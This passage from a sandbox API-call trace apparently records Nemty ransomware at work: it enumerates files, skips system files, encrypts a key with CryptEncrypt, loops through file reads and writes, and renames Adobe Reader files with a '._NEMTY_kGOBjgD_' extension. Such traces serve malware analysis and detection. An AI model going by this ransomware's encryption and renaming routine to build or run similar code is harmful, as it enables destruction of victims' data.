lpOverlapped=0x0) returned 0 [0202.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0202.998] CloseHandle (hObject=0xffffffff) returned 0 [0202.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0202.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0202.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0202.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0202.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.999] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2._nemty_kgobjgd_")) returned 0 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0202.999] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x457be, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2C", cAlternateFileName="B5PC-U~2")) returned 1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2=".") returned 1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="..") returned 1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="...") returned 1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="windows") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="$RECYCLE.BIN") returned 1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="rsa") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="NTDETECT.COM") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="ntldr") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="MSDOS.SYS") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="IO.SYS") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="boot.ini") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="boot.ini") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="AUTOEXEC.BAT") returned 1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="ntuser.dat") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="desktop.ini") returned -1 [0202.999] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="CONFIG.SYS") returned -1 [0203.000] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="RECYCLER") returned -1 [0203.000] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="BOOTSECT.BAK") returned -1 [0203.000] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="bootmgr") returned -1 [0203.000] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="programdata") returned -1 [0203.000] lstrcmpiW (lpString1="B5pc-UCS2C", lpString2="appdata") returned 1 [0203.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2C", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0203.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2C", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-UCS2C", lpUsedDefaultChar=0x0) returned 10 [0203.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2C", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0203.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2C", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-UCS2C", lpUsedDefaultChar=0x0) returned 10 [0203.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2C", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0203.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2C", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-UCS2C", lpUsedDefaultChar=0x0) returned 10 [0203.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2C", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0203.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-UCS2C", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-UCS2C", lpUsedDefaultChar=0x0) returned 10 [0203.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0203.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0203.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0203.000] Sleep (dwMilliseconds=0x5) [0203.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ca50990, dwHighDateTime=0x1d561e8)) [0203.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ca50990, dwHighDateTime=0x1d561e8)) [0203.001] GetLastError () returned 0x5 [0203.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.001] GetLastError () returned 0x5 [0203.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.001] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.001] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0203.001] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0203.001] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="KiwAxXQJ0G/iaACp3F6ehCWko89uMEMUHs/l1qf8boelKn8rlXDlUoSAzFWKgRY5\r\nhZnPZtcI4YWvlf4sxLk9caasWu6tz5I+JxHyPsZULLESzoLyuYkKpdAeSUK637aK\r\nehvMcL4veNx2TsxC9KW7nSbJd8WhXDaTS7WXGtkw/avwR4q5IuCW3luqcPXY6D1A\r\n1dyGSPrvTb90PbG7SBKmYpHUVuegqEB21tL2vxKAtT0oYbtxqDurAHFLfAD873h4\r\n/IubfEZa5tPursbMx/zYS8ddC6nAqThvJTrpa8/ReorPLODtfuz2zY60EdJiV8Rs\r\nSC/ef6dQauj5Hf0hm5jHeA==\r\n", pcchString=0x653e91c) returned 1 [0203.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0203.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0203.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0203.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.002] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0203.112] CloseHandle (hObject=0xffffffff) returned 0 [0203.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0203.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0203.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0203.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0203.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.112] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2c"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2c._nemty_kgobjgd_")) returned 0 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0203.112] HeapFree (in: 